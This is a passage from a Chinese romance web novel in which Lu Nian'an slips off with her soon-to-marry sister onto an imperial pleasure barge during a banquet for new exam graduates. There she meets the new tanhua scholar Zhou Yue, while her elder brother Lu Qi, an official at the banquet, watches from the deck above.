陆念安看着手中的花,片刻后,不知想起什么,叹了声很长得气。 秋菊揉了揉眼,委屈道:“就是有些舍不得姐姐要嫁人了。” 长兄去军中的这两年,陆念安所有欢快的记忆,都是和家姐一起的。 没有功课,不用练琴,更不用在晨日里练剑。 姐姐带她纳了喵呜,也会借给她闲书给她,陪她听戏品茶。 只是转眼间,姐姐却要嫁人了。 因为准备婚事,陆子诺已一月未出府,寄给妹妹的信也从听戏逛茶楼,变成委屈巴巴的抱怨。 知府对陆家二房来说,已是高嫁,于是出嫁要准备便实在太多。 光是教礼数的嬷嬷便请了三个,小到用膳大到如何伺候婆婆,简直需要事无巨细地学习。 陆子诺从一开始地抗拒到被迫接受,连信中口吻都稳重了许多。 但这样的稳重,陆念安却并不喜欢。 * 黄昏以后,橙黄余晖一点一点逝尽。 这几日陆祈都呆在宫中,已五日未检查妹妹的字,这日回府以后,便先去了一趟北院。 方才进屋,没等他主动开口,陆念安便极其自觉地翻开小册,又双手捧着册子,乖乖交给兄长检查。 陆祈接过小册时,多看了妹妹一眼。 随后长指抵在书册边缘,一手提笔,批阅起来。 书房内寂静,桃花灯映照出浅粉色的光,将长桌一侧照亮。 陆祈坐在妹妹的小椅上,高大身躯因此显得局促,姿态却雅正,极有耐性地一字一字圈点。 当今圣上是个甩手掌柜,自回京以后,陆祈忙碌之际,谁想见他一面都是极难的。 他时间宝贵,很少浪费在无意义的地方,现下却仿佛是再看哪个状元写得文章。 替陆念安批阅完松散地小楷字,陆祈放下长笔,难得有些疲倦地揉了揉额。 陆念安见状,又讨好地替哥哥倒了一杯热茶递过去:“哥哥辛苦了。” “……” 陆祈接过,修长的指骨搭在杯口,却未喝,只是静静看着陆念安。 陆念安忽然有些紧张。 官场之上的人,莫非都是这般,喜沉静地看着人,却不说话。 那淡然的压迫,很快就让陆念安主动交代了干净。 “阿念也想给姐姐添两箱嫁妆,”陆念安低下头,闷声又道:“姐姐最近变了许多……” 从教养的嬷嬷开始说起,陆念安说得细,又断断续续:“……所以姐姐都一月未出府了。” 静静等她说完,片刻后,陆祈淡声开口评价:“女子出嫁前皆会请嬷嬷教养。” “是吗?”陆念安忽得被这话吓到,又联想起家姐寄来的那些信,一时间有些恐慌。 恐慌之余,她想起自己原本要说些什么,忙打住联想,道:“那哥哥能帮姐姐出府透透气吗?一天就好了。” 这句话,显然才是她这般乖巧的原因。 同家姐快两月未见面,只有越来越少的信交流。 陆念安怕姐姐嫁走以后会更忙碌,便想要见她一面。 想到这里,她有些期盼地看着兄长,一张莹白的脸仰起,肤若凝脂,乖巧极了。 被小姑娘这般恳求地看着,陆祈却也只是叹气:“阿念拿哥哥当什么?既是二房的家事,哥哥如何能插手?” “可是我就是想同姐姐说说话了,”陆念安低下头,后知后觉也意识到哥哥的为难,咬着唇瓣沮丧道:“那好吧。” 陆念安紧张或是沮丧时,总是会给自己找些事情转移注意。 或是捏裙摆,或是玩手指,亦或是像现在这般——本就红的唇瓣被咬得越发殷红,在光下,唇瓣又挂上些许晶莹的水渍,委屈极了。 陆祈眼眸暗了暗,用指腹替她揉开,再慢条斯理地拿出绸帕擦拭长指。 垂眸时,他一张脸沐在阴影间,轮廊冷硬:“明日哥哥的确不能陪你,既是要找姐姐,要乖一些?” “哦……”缓了会儿,陆念安忽然意识到他说什么,惊讶地抬眸,立刻保证:“哥哥,你知道阿念一直都很乖的。” 第54章 第五十四章 五月的晴日,长街两侧商铺鳞次栉比,行商小贩也叫卖着,偶有路过的行人,便停下来张望片刻。 街角,一家烤肉摊前,店小二手拿蒲扇轻扇着,灰炭间便泵出零散的火星子,与此同时,大块羊肉被烤得滋滋冒油,正往外散着浓烈的鲜香,这香气飘远,惹得来往行人纷纷回头。 瞧着火候差不多了,店小二幽幽放下蒲扇,一手抬起颈间的麻布擦汗,一手把住红柳枝,将柳枝上正冒着油的肉抵下来,装进深口瓷盘里,再佐以香葱孜然胡椒提鲜,用剪子拌均匀,又剪成刚好能入口的小块。 “还是这般香呢……”足足一月未出府的陆子诺坐在小椅上,眼瞅着店小二将瓷盘放下,她便迫不及待地用木筷将肉送入口中,感动到差点哭出来:“念念啊,你一定一定要试一试。” 这还是陆子诺近段时日才发现的小摊,只是还未等她将妹妹带来,便被爹爹给关在了府里,再没有机会出来。 当下,陆念安见姐姐开心,便也笑着拿起木筷。 她喜甜多一些,口味上偏清淡,今日这烤肉对她来说有些许辣,没用一些,到是先饮了一碗绿豆甘草凉水。 店小二便又上了一叠子撒伴和菜,翠绿的菜蔬同羊肉一起入口,冲淡了口中的辛辣。 陆念安缓缓吃着,瞧见姐姐狼吞虎咽地模样,一时间想起那些信,便不由得忧思起来:“是那些个嬷嬷不给姐姐饭吃吗?” 是听说未来婆婆口味清淡,所以这一月,陆子诺要被迫改掉口味讨婆婆欢喜,于是平日里也只能用些淡口的小菜。 她叹气一声,未对妹妹细说,感慨:“还是念念对姐姐好,若是再不能出府,姐姐就怕是要饿昏头了。” “姐姐要谢谢哥哥才对。”陆念安没给自己揽功,但被姐姐这般夸赞,她还是有些欢喜,眉眼弯弯地笑起来。 “还是有个妹妹好,”陆子诺有了些精气神,一边保证:“不枉念念将我带出来,我今日一定要带念念去个好地方。” * 上京的春天又是花季,用完午膳,两人沿着巷子往前,此刻午时,长街两侧,贩花的小贩尤为繁多。 牡丹、芍药、锦李、香兰、水仙……卖花人用竹篮装着鲜花,新鲜的花瓣上,还缀着露珠儿。 去江边以前,陆子诺先拉妹妹簪了朵花。 陆念安挑了一朵嫣红的芍药。 她身着的嫩绿色裙裳本素净,配上这般艳色的花,本忧思会有些突兀,直到卖花人将花插进髻中,嫣红同嫩绿相得益彰,衬得她越发娇俏。 付完银子,陆念安转头,后知后觉疑惑起来:“姐姐原是要带阿念去江边吗?” 陆子诺解释:“前日听爹爹提及过,今日江边有一场曲江宴。” 曲江宴是为奖励新科进士所设的宴席,往年大多在江边小亭上举行,一边赏春日美景一边品茶,昭示皇恩浩荡。 今年却是以游船的方式,白日里欣赏江边美景,等夜宴之上,再继续品酒赏舞,由皇上亲自对第一甲进行奖赏。 陆子诺自听父亲提及过后,便一直心生向往, 当下悠悠解释完,她看向妹妹,想从妹妹眼眸中瞧出几分期待。 人头攒动的闹市,日光明晰,站在长街一侧陆念安却疑惑道:“科考竟已经考完了吗?” 自古科考,都是朝廷同百姓一齐关注的大事,无人会不知。 就连身处于后宅之中的陆子诺,也对殿试尤为了然。 “不应该呢,”上前摸了摸妹妹的额头,陆子诺疑惑:“这金榜都公示三日了,整个大景都知道的事情,念念怎会不知?” “原来都知道吗?”不知想起什么,片刻后,陆念安才后知后觉地点头:“这样啊。” 去曲江时要路过殿门,金榜公示便在殿门旁得城墙上。这几日前来围观金榜的人络绎不绝,直到现在,榜前仍围着不少人。 下了马车后,站在最后方往前看。 红墙上,长长的卷轴被拉开,一直延生到另一侧。第一甲的三人最为醒目,再往后,规整的小字整齐排放,密密麻麻写满了其余学生的姓名。 围在榜前交谈的几人,衣衫褴褛,脚踩一双破旧的黑色布鞋,此刻正面目气愤,指着金榜恼道:“定是欺负俺们不懂,俺前些年可是亲眼见过苏公子,苏公子才高八斗学富五车,怎可能不是第一甲!” 他说得振振有词,身旁几人便也愤愤不平地接话 道:“大家伙谁认识这周越是谁?莫不是皇亲国戚,考官舞弊了才……” 话还未说完,路过的大娘瞥一眼,颇有些无奈地开口:“几个赌鬼,赌输了还赖别人,等巡城的侍卫过来,把你们都抓进地牢就晓得其中厉害了。” “……”那几人顿时住嘴,许是觉得没脸,又嘴硬地反驳道:“你说你一个娘们懂个什么。” 买菜的大娘听见这话,放了手中的扁担:“我不懂是吧,那你身后的侍卫大人肯定懂,你等着——” 没等她说完,几人忙意兴阑珊地跑开,再不敢多说一句。 因此,站在后方的陆念安得以上前两步,仰起头,杏眸一眨不眨地认真端详起金榜。 不过片刻,从果铺那买完鲜果子的陆子诺走来:“念念是找谁?这般认真呢。” 金榜上写着许多不相熟的名,陆念安大致扫过,并未多看,很快移开目光摇头。 * 许是因为春宴的缘故,今日的曲江旁,同样来了许多百姓围观。 江边人头攒动,从对岸吹佛而来的风带着湿意,缀在高树上的花骨朵因此飘落,一时间全是杏花的香气。 大晋的水路纵横,江上没有宵禁,因此画舫生意尤为发达,一到夜间,江河不息,星星点点的船舫流动,将江边点亮。 但今日圣上微服私访,江面上的船舫皆被拦下,只余下一艘宽阔的画舫,一共三层,如同水上宫殿一般,宽大到几乎盘踞了整片江岸。 前朝天子喜水,一度想将宫殿搬于水上,这艘精致宽阔的船舫,便是他命千名工匠,倾尽半生才打造出来,奢华程度可见一斑。 这些年来,这水上宫殿鲜少露面,今日停靠在江边,便引来许多好奇的百姓来看。 陆念安也好奇地踮起脚尖,只是江边的人太多,她只能窥见其中一角,便收回目光。 正遗憾之际,陆子诺却拉住她的手腕往前,两个人从人群中挤出时,离这艘精致的水上宫殿极近。 离得近了,这画舫显得更加高大,叫人仰起头也不能看清楚全貌。 岸边还有一支兵卫维持秩序,将买了船票的百姓陆陆续续带进舫中。 原是天子想用百姓同乐,所以画舫最底层的船票对外售卖,只需十两白银一人。 这大抵是寻常百姓离天子最近的机会,因此,愿意拿出十两白银上船的人并不少。 闻言,陆子诺侧过头询问妹妹的意见:“念念可以去吗?” 水上不同于陆地,一旦上船,便是要等到夜宴结束,画舫才得靠岸。 陆念安面露难色。 今日晨起,兄长才叮嘱她不要贪玩,要早些回府。 想到这里,她有些纠结地抬眸,却见姐姐一脸期待地目视着前方。 陆子诺惯是凑热闹的性子,只要是人多的地方,她都得上前瞧瞧。 于是到嘴边的拒绝,便说不出口。 很快被拉着上船,船舫间热闹极了。 丝竹声应起,舞女着清凉的纱裙,烛光下若隐若现身姿姣好,正随乐起舞。 更有叫卖声传入耳畔,卖饮子的、卖果脯的、卖酒的、卖花的……舫上商铺高额的租金,使得这些商贩一刻也不停歇,叫嚷声传入耳中,显得嘈杂极了。 被着嘈杂扰乱,陆念安很快将哥哥的叮嘱抛之脑后。 总归兄长要明日才回府,她晚些回去,应该也……也不会被察觉到吧? * 画舫悠悠飘在江面上,离岸边越来越远。 水上赏春光别有一番滋味。 此时天色正好,水光潋滟,江面上散开一圈一圈的涟漪,而飘落而下的杏花雨更是雅致,如此美景,实在罕见。 但画舫的最底层,却是连光都窥见不到半分。 是船舫太大,修建时,工匠提议最底层只能作为支撑,需封闭且不透光。 当下若是想赏景,只能去往舫头和舫尾的露台,或是从支起的花窗间窥得一二。 许是因为这般,底层的舫间增添了许多玩法,甚至并未禁赌,能玩些简单的骰子。 这种以预测点数开大开小的玩法,很好上手,并未接触博戏的陆子诺因为好奇,也上手试了试。 陆念安却不喜欢博戏,只在一旁看着。 四方长桌前全是碎银,摇动骰子的声音清脆,压大还是压小的声音传出……场面一时间有些混乱。 等家姐玩乐的时间,陆念安从隔壁饮子铺那儿要了一碗乌梅汤。 香饮铺前同样热闹,原是有人方从第二层下来,正高举酒碗同大家议论那是何光景:“……全是没见过的美人儿,墙上挂满了壁画,宫里的大人也都在,连皇上用得酒杯可都是金子做得呢!” 酒杯怎可能是金子做得。 明知道他是在撒谎,陆念安仍旧听得津津有味,便捧着乌梅汤凑近,只是还未等她走近,站在前方的一人却忽然转身,直直同她相撞。 手中的瓷碗被打翻落地,紫红色梅汤一同泼洒散开,陆念安凉得一颤,没等她反应过来,耳边落下一道嫌恶的男声。 “贫乡熙攘出刁民还真没说错,路也不看,撞坏本少爷的衣服你赔得起吗?” 说这话的人面色难看,很快便有下人上前替他收拾衣袍:“少爷你没事吧?依小的说你就不该下来,这底下都是些没见过世面的……哎呦你瞧瞧,这衣上染了梅汤要如何是好?” 画舫最底层,光线不够明晰,因此压下嫰绿罗裙细腻华贵的光泽。 变故突然,陆念安有些无措,分明是这人撞了她,乌梅汤也都尽数泼在了她的裙摆上,偏生这人颠倒黑白,她蹙起眉欲想解释什么。 却很快被推开:“还不让开?你做梦呢,皇上怎会用金子做得酒杯,一群没见过世面的乡巴佬,真是土死了。” 第55章 第五十五章 “开大!开大!大大大… …” 东家压在骰子碗上的手正不断摇晃,噼里啪啦的响声传出,气氛热络间,陆子诺也不断起哄。 “开大,开大,”她一边随大流叫唤着,一边侧过头:“念念……” 话音一顿,注意到隔壁的动静,陆子诺忙收起手中的碎银跑去:“我们念念可没事吧。” 才分开一小会儿,陆念安嫩绿色罗裳之上,染上大片的污痕,零零散散的紫红色晕开,有些难看。 香饮铺前,方才的几人却只是懒散站着,瞧见这一幕,为首的那人便轻飘飘道:“没让她赔都是本少爷大度呢。” “你,”陆子诺反应过来,起身欲说些什么,但她的衣袖被一只小手轻轻扯住。 陆念安摇摇头,她胆子怯,一看见那人身后跟着四五个家仆,便不敢同人起争执了。 陆子诺只能将气憋回去。 那人还以为她是怕了,临走前,仰起下巴高傲道:“早该识相点,我爹可是同知府交好呢。” “……” 回到饮子铺,两人随意地找了长凳坐下。 罗裳湿漉漉有些不舒服,陆念安用绸帕小心翼翼地擦拭着,一点一点抹开湿濡的水渍。 见状,陆子诺不由得生出几丝愧疚来。 “分明是那人不看路,姐姐有何愧疚?”陆念安如此安慰。 “只是同区区知府交好就敢欺负我们阿念,”陆子诺越想越不是滋味,气愤道:“简直就完全不把大哥放在眼底嘛。” “但哥哥毕竟不在的,”陆念安闷声说着,不知想起什么,又默默补充:“而且也不能用哥哥告状。” 当下来游船本就是瞒着兄长,若因为此事露馅,临行前答应哥哥的话便尽数作废了。 哥哥可能不会生气,但一定不会再让她同姐姐玩了。 陆子诺也很快想到这一点。 ……若是大哥不经意同爹爹提了一句,那么嫁人以前,她应该都没有机会出府了吧? 一瞬间,她如鲠在喉,有一种吃了哑巴亏的难受。 陆念安并未难受太久,事已至此,她只好欣然接受。低垂下眸,她继续用绸帕擦拭裙摆,想将这股湿濡的粘腻抚平。 擦拭间,香饮铺子的店小二嚷嚷着去招揽客人了,隔壁痴迷于赌骰子的赌客精神却还振奋,大大小小,一会儿喊大一会儿喊小。 陆念安听着这些声音,抬眸看向一侧的花窗。 这里是唯一透下光的地方。 “那念念我们上去瞧瞧如何呢?”陆子诺也有些玩腻,道:“底下是有些太黑了,都快让人分不清是白日黑夜。” “可以吗?” 这艘高大的画舫共有三层楼,在底下呆了半日,陆念安也免不得对二楼生出好奇。 ……只是听巡视的侍卫说,楼上是需要请帖才能出入。 * 墙壁上悬着的烛灯,散发出稀薄的光亮。 走了很长一段狭窄的小路以后,视线才稍加开阔。 但仍旧很黑,那点稀薄的光亮聊胜无几,陆念安紧跟在家姐身后,心下仍旧害怕:“姐姐,真的要走这般久吗?” 于是陆子诺也有些不确定了。 她皱起眉,语调不太靠谱:“但方才听赌桌上的赌友说了,应是就是这路没错的?” “……” 走了一会儿以后,终于走到尽头。 仄逼的墙角间,几个手拿长枪的侍卫,冷冷朝她们看来, 两人便将备好的银子交出去,沉甸甸装满一整个荷包。 站在前头那守卫,抬手接过荷包掂了掂,立马笑脸相迎:“两位姑娘这边请。” 一束从高处落下的白光照亮回廊,抬眸是数不清的台阶。 再往上便是二楼。 只是陆念安胆儿太小了,她没走过狭窄的小道,也鲜少做什么坏事,有些担忧就这般上去会不会不好。 “两位姑娘不用担心,”守卫替两人放行,双手篡紧荷包,笑眯眯解释:“只需注意一点就好,那三楼都是宫里的大人,若是惹了谁,那就是要掉脑袋的大事儿。” “那……” “无事的无事的。”几个守卫无所谓地摆摆手。 画舫泾渭分明,最上层有天子亲迎,守卫繁多,寻常人别说是上去,连见一眼可都是极难的。 …… 踩着最后一节台阶,拉开暗门,眼前落下几束亮光。 霎那间沐在温暖盎然的暖色下,陆念安不由得眯起眼来。 原来此时竟已黄昏了,余霞柔和,落在江面上,连接成波光粼粼的一片。 双眸适应了这光后,陆念安才环视起周围来。 不像是在舫上,抬眸是宽阔的长廊,暖光透过廊间细腻的雕花,落下倾斜的影子。 还有悠扬的琴声传入耳畔,曲调熟悉,是宫中奏乐。所以有一个瞬间,陆念安还以为自己是来到了宫里。 “念念,”愣神间,陆子诺拉了拉她:“往前去看看吧?” 两人顺着长廊往前,来到一处茶室,茶室内弥漫着白茶香,是几位贵女正在品茶。 同楼下大相径庭,画舫上层,茶香熏着心神,显然是更高雅的地方。 听见脚步声,有一人缓缓侧过眸看来,站在红柱旁的陆念安只好怯懦着开口:“打扰姐姐们了。” 被长兄亲自教养长大的姑娘,生在锦衣玉食间,连根散落下的发丝,都泛着极细腻的光泽。 这是寻常人家教养不出的气质,尽管身着明显凌乱的罗裳,也无人会认为她没有请帖。 于是乎,有人放下茶杯起身走来,问:“小姑娘可是同家中之人走散?” 问出这话的,是中都督府家的张夫人,在得知陆念安是同哥哥走散以后,张夫人又好意道:“恰巧今日来舫上,家中下人多备了几身衣,姑娘若是不嫌,便让下人带姑娘去换一身如何?” 一边说着,张夫人一边盘算有哪几位大人是带了妹妹前来。 不知想到什么,她态度更加热络,点了点一旁的丫鬟:“来,月儿,带这位小姐去净室里。” 陆念安惯是不习惯同生人接触的。虽听出她话中好意,一时间却也不敢上前。 “好啦念念,”最后还是陆子诺推了推她:“去吧,姐姐就在这儿等着你!” * “小姐跟在奴婢身后就好。” 月儿低声道一句,抬步往前,将陆念安带去了转角的一间厢房中。 来画舫一日,林夫人备至了三身裙衫,月儿做主替陆念安挑了身素粉色百花裙:“虽没有小姐身着的绸缎舒适,但这新制的织锦料子色泽好,小姐试试。” “谢谢月儿。”陆念安乖巧道谢,又抱起素粉色织锦,只是没等她去里屋换衣,身后传来一阵脚步声。 净室内本空荡,只一盏碧玉折屏立在正中,听见这阵脚步声后,她不由得回过头。 “出去出去。”来人是位男子,怀中还依偎着一位红衣女子。现下一边说着,一边乐呵呵看着美人儿痴笑。 从他口中散出的酒气浓烈难闻。 躲在折屏后的陆念安皱起眉,忙拉着月儿抬步往外走。 与此同时,有极细微的水声传入耳畔,将净室内染上一层欲色。 陆念安没见过这阵仗,因为害怕,她杏眸无措地瞪大,抱着裙衫的模样便有些娇憨,好在她身姿轻盈,很快跑到门边。 双手抚在美人腰间的醉酒男子,也在这时醉熏熏抬眸。 室内昏暗,点着的烛灯,将眼前蒙上一层昏黄。 少女匆忙离开,颈间斜斜散开一角,白皙无瑕的脖颈,这光下显得尤为惹眼。 醉意迷茫,醉酒男子直接扔开怀中的美人,惹得那美人不满地轻哼几声,他闻所未闻,只跌跌撞撞地朝陆念安走近。 离得近了,酒气熏天,他一张生满红点的面庞也清晰起来,歪鼻咧嘴,眼睛芝麻大一点儿。 被这相貌吓得一颤,陆念安慌乱移开目光,无意落在他身侧——靛蓝色长袍上,夹杂着几丝紫红色污渍。 有些眼熟…… 于是陆念安低垂下眸,就见自己裙摆间,点着同样的淡紫色污痕。 是方才那人。 想到有可能会被他戳破身份,没做过什么坏事的陆念安,很快紧张起来。 “小姐跟着月儿来。” 月儿对舫上要相熟一些,见惯了这般场面,在那人浑身酒气跌撞着跑来时,她带着陆念安连忙离开。 绕了片刻,两人来到一处露台,又像是误闯了什么禁地。 天色完全黯下,挂在檐上的宫灯此刻接连亮起,随着风轻轻摇晃,奢华的亮光几乎将江面点亮。 舫上露台,佩刀守卫依次排开。 而正中,抚琴女带着面纱,朦朦胧胧露出一双多愁的眸,伴随着她的琴声,捧着琵琶的舞女列好,就在这江水之上,轻盈地腾飞起舞。 实在是奢华的场面。 这些年,月儿跟在家母身后,也去过不少宴会,但像这般奢华的宫宴,却还是平生头一次。 恐怕她的家主中都督的名号放在此处,也会被拦下。 ……视线飘远,月儿看向围栏前,正被众人拥簇起的一人。 夜色下 ,男人身姿清瘦,带着文官独有的温润气场,眼眸柔和。 她由衷感叹:“周公子生得可真好看。” “周公子?”陆念安显然也注意到那道身影,杏眸却迷茫,她极轻声呢喃了句,音调微不可察。 同一瞬间,围栏前,被众人拥簇起来的周公子,侧过眸。 隔着欲腾空起舞的舞女,他视线落下,同陆念安遥遥相望。 第56章 第五十六章 瞧陆念安迷茫的神情,月儿感到几分意外:“小姐竟不认识周公子?” 要知道殿试结束后,上京最炙手可热的人物,就数这位新晋探花郎。 连今日游船,也是朝廷为新科进士所置办的宴席,可见其中重视。 还会有人不认识吗? …… 夜风拂过,挂在檐上的宫灯轻晃,灯影摇坠间,落下一片暖色。 月儿口中的周公子侧过身,被光影笼罩着,清俊的面庞,身着的细腻锦绸称得他更加温润。 此刻同他遥遥对视,陆念安觉得这张脸实在有些相熟,一时有些呆愣地望了片刻。 很快被月儿的声音拉回思绪,她才反应过来,连忙移开眸。 月儿正说道:“周公子不光容貌生得好,能考上探花郎,才学定也是极好呢。” “探花郎?”听见这话,陆念安下意识呢喃了声,到了这时,她也后知后觉地意识到了什么。 气氛微妙,她低低垂下眸,若有所思地皱起眉。 却没等她多想,很快,从身后传来的酒气,便让人瞬间就从回忆中抽离。 方才那醉酒男人唤陈三,是本地富商的小儿子。 仗着家中家财万贯,父亲又同知府交好,于是平日里骄矜惯了,被陆念安一眼惊艳到后,硬是强撑着酒意追到此处。 他显然没认出陆念安就是舫下那人,抬步摇摇晃晃地上前:“美人儿……让爷好生瞧瞧……” 浑浊男声萦绕在耳畔,他越来越近,糟糕的酒意便也越来越清晰。 陆念安自然被吓得一抖,还没等她想出该怎么办,那陈三却忽得被人压下。 守卫反扣住他手,紧跟着又压住他脊背,使得他再不能动弹半分。 “谁?”陆念安顿时有些疑惑,忙转过身看去,就见上一瞬还被众人拥簇围着的探花郎,不知何时靠近了。 温文尔雅的郎君总让人心生好感。此刻只同她相隔不到一米,离得近了,一张脸清俊,气味干净。 他忽然开口,笑着道:“陆姑娘。” 这道声音清润,愣了愣,片刻后,终于确定了什么。 陆念安双眸一亮。 忽然就有许多话想说,她下意识张唇,还未开口,却被什么难住了,又是一顿。 宫宴之上,四面嘈杂……陆念安不知道能不能叙旧,也不知道该唤眼前这位郎君为沈大夫,还是周公子。 犹豫的瞬间,萦绕在耳畔悠扬琴声中,多出鼓点的声音。 她偏头去看,见露台之上,捧琵琶的舞女随着鼓点摆动,裸露在外的细腰窈窕晶莹,在光下闪着湿漉的光泽。 今日这曲舞唤作飞天,西域所传,舞姬身着胡人所制的衣裙,双臂搭披巾,宝石配间色裙,更要在全身抹一种晶莹的香油。 对陆念安来说,这已是极好看了。 她却不知,这胡人所舞,从上层往下俯视,那才是真正的光景。 此时舫中三楼,身处于高处的静安候正痴痴欣赏着,见露台上舞姬们身姿窈窕,披巾散开,又嗅到若隐若现的香气涌动。 他抬起小几上的酒杯,感叹:“今日这胡人所舞,果真同寻常的乐舞大相径庭。” 前朝巧匠为天子所造的画舫,像梯田一般层层递进,身处于最高处的舫中时,不仅能整片江岸都尽收眼底,连舫下两层的露台光景也能一眼看透。 所以欣赏这飞天舞最好的位置,是在三楼。 说话间,有人也跟着附和道:“舞姿实在优美……” 静安候仍旧痴笑着,好心情地抬起酒杯一饮而尽。 见状,站在他身后的侍女捧起酒壶上前,小心翼翼地替他湛满酒。 今日夜宴,选在舫中最高处,能在此处同天子一起赏舞之人,皆是她招惹不起的人物。于是侍女手上的动作放得更轻了,生怕招惹了谁得不快。 酒水缓缓流入杯中,刚及一半之时,有人闯入宴中。 来人是静安候手下的亲卫,立刻跪于地上,还未开口,静安候却恼了:“没看见本王正赏着舞吗?” “候,侯爷,”那人跪地不起:“是底下的人冲撞了周公子。” 今日舫间,负责秩序的多数都是静安候手下亲卫。 闻言,静安候神色一顿。 不说这位可是新晋探花郎,那还是周家好不容易才找回的小儿,当今皇后的堂弟。 二十多年前,周家舅公老来得子,却突生变故,于次年春去寺中礼佛时,将孩子给弄丢了。发生了这等子变故,实在是令人惋惜,周舅公没几年便也疯了。 现下好不容易才将人寻回,若是在他手下出了事…… “底下人都是怎么做事的?”没等静安候说话,坐在主位的天子挥挥手。 手中酒杯便噼里啪啦地砸下去,一下子磕在那人额上,杯中液体也跟着洒出来。 那人纹丝未动,不断磕头求饶着:“皇上恕罪皇上恕罪……” 天子发怒,气氛顿时微妙起来,捧着酒壶的侍女们便连大气也不敢出。 静安候连忙开口:“今日布防周全,哪些个不长眼的还敢凑近?” “还不快将人抓起来淹了,失责的守卫也通通处罚!” 这话一放,场面更加寂静,站在后方的佩刀侍卫齐齐跪下,低头不语。 皇上却满意道:“就按静安候说得办。” 静安候立刻呼出口气,催促几人赶快去办,话里话外都是洋洋得意。 只有他身旁的几位大臣,纷纷不赞同地皱起眉。 若是在宫中,这番惩戒也罢了,但今日游船,本就是举国同庆的喜事,此番惩戒,实在是有失民心。 不妥,实在是不妥。 虽是这般想,却无人敢开口劝阻什么,沉静间,又或是再等谁先开口。 此时的江岸上,夜风微凉,沐在宫灯下的影随风轻晃起来。 众人忧思时,陆祈面色仍旧淡然,此时沐在时明时暗的影中,他缓慢抬起一旁地茶盏,冷静道:“律法既在,便按律法先行,理等上岸后交于邢狱司处理。” 被他轻飘飘一句话堵住,静安候的面色不太好看,本欲反驳,但陆祈已开了头,朝中大臣赶紧纷纷以表赞同。 御史台大夫附和:“陛下如此受百姓爱戴,今日舫下千双万双的眼睛看着,也不该寒了民心呐。” “是呐皇上,陆大人同御史大夫所言在理,万不该寒了民心呐。” 众臣你一言我一句的劝阻着,很快,皇上扶了扶额,只好顺从着:“那便按众爱卿所说得办。” 见状,众人松了口气,心下难免敬佩起陆祈来。 陆家人家风清正,陆祈也同父亲一般,是真正为陛下着想的端方君子。 仿佛只是一个小插曲,宴上又回到了方才轻松的氛围,伴随着舞姬轻盈的身姿,侍女们举起酒壶,替身前的大人们湛酒。 御史大夫将余下的一饮而尽,空酒杯很快便被满上,那侍女仍未走,捧着酒壶走向陆祈。 御史大夫瞧见,随口道:“退下吧,陆兄不饮酒。” “陆兄不饮酒?”大皇子有些惊异,侧眸看去,才注意到陆祈握在手中的是茶盏,道:“但今日这杏花酒泛甜,酒意微弱,陆兄可要试试?” 他语调显得冷淡,婉拒道:“不必。” 大皇子还想着再劝劝,主位之上的天子不知想到什么,在这时开口道:“今日曲江游宴,子民对朕的爱戴朕皆受之,既然如此,朕想着,不如就在江岸上留宿一宿,也能同朕的子民再呆一会儿。” 这主意实在突然,未同任何人商量过,众人皆愣了愣,才点头称赞道:“若是子民知道皇上如此替他们着想,定是感动……” 相比于方才的惩戒,此刻的留宿只是有些突然,众臣很快接受,纷纷赞叹起来,惹得天子直笑不停。 交谈间,画舫一侧,沐在影下的陆祈微动。 指骨轻叩着茶盏边缘,他面色看不出任何不悦,点了点身后的青竹。 “大人,”青竹跟着上前,俯下身轻声道:“方才备好的船只已跟上,何时走?” 晨日里还未离府,青竹便收到要备船只的命令,那时他尚有些疑惑,现在才恍然明白——因为大人答应过小姐,便不会失言。 陆祈淡声应了句,一旁的御史大夫瞧见,“陆大人可是要走?” 他面色平静:“幼妹还在府中。” 天子已摆驾回了殿中小歇,夜宴之上便没了顾忌。 听见这话,翰林院张学士和尚书令秦大人一同转过来,两人皆笑道:“陆大人,都多少年了,怎还用这个理由呢。” “是您一手带大的幼妹没错,但大人您也不能回回都用这个理由打发我们嘛!” 两人忆前些年,陆祈便是用这个理由,不知推去了多少宴席。 一时间,众人瞧着他的目光都有些幽怨。 被几人齐齐看着,陆祈抬起茶盏,明前龙井的香气挥散开来,他悠悠饮了口茶,语调平缓:“怎会是推辞?” “不是推辞还是什么,”许是今夜喝了酒,秦大人双颊滚烫,激动道:“你别以为我不知道,念安不是也跟着你来舫上了呐?” “秦大人可是醉了?”陆祈握住茶盏的指骨微顿,含笑道:“念安今日一早便同她三姐出府去玩了,怎会在舫上?” 秦大人看着他,既是正笑着,他神色间却没有任何起伏,眸色幽深平静。 作为长者,但对于陆祈这个后辈,秦大人只觉自己从未看透过。 垂眸沉思了会儿,他便也有些不确定了,摸了摸滚烫的脸侧,酒意上头,逐渐昏昏沉沉起来:“这样啊,那当是鄙人看错了,将周家那小子身旁的人,错认成念安了。” “是吗?”陆祈握住茶盏地指骨收紧,道:“那定是秦大人看错了。” “周家刚找回来的小儿子呀,”话题逐渐转到周越身上,御史大夫忍不住称赞一声:“前日里同翰林院的几位学士看过他的文章,有个好苗子。” 中书令大人今日也在,当下打趣道:“的确是个好苗子,我看若不是相貌他相貌生得太好,我儿怕是就做不了壮元郎咯。” “这月周舅公才是最该高兴的,好不容易找回的儿子是个探花郎,听说周舅公连癔症都好了多半。” …… 聊着聊着,忽得感觉一旁有些沉默,御史大人笑了笑:“陆大人您觉得呢?” 天空更加黯淡,此时江水之上,只有这艘画舫所带来的光亮,好在宫中巧匠所制得灯,可燃一夜不灭。 于是一连串的宫灯,在深夜之中,越来越明晰。 借着光亮,陆祈垂眸,目光移到楼下露台。 “探花郎?”身着红衣的舞姬仍然在舞,他欲收回目光,随口附和了声:“的确不错。” 话音刚落,红衣舞姬散开,灯下光景顿时明了。 陆祈一顿,瞥见他一手带大的幼妹,跌进探花郎怀中。 那个对他保证会乖乖听话的幼妹,那个本该回到院中等她回府的幼妹,此刻双颊微红,眼眸湿濡,红唇微微张着,正毫无防备地跌进生人怀中。 又被一手揽住。 宫灯亮如白昼,从上方俯视下方,清晰可见沈淮安双手抬起,手心跟着压在她的肩侧,揽住她单薄的肩。 “陆大人?陆大人?” 头一次见陆祈出神,御史大夫一连唤了几声:“是方才聊起周越写得文章……” 见他没反应,御史大夫又唤了几声:“陆大人可还记得……” 对,现在是该唤他为周公子了。 御史大夫话还未完,忽得听见什么东西破碎的声响,下意识颤了颤。 转过头—— 见平日里稳坐高位,喜怒不形于色的男人,却在这一刻生生捏碎了手中茶盏。 第57章 第五十七章 今日夜宴上的御酒,种类繁多,各色液体被盛放于琉璃壶中,黄红粉白……色泽皆很鲜亮。 陆念安很快被这抹鲜亮吸引住目光,周越瞧见以后,抬手拎起一壶杏花酒来,一边道:“无意间听闻杏花酒甘甜,酒意浅淡,陆姑娘可要试试?” 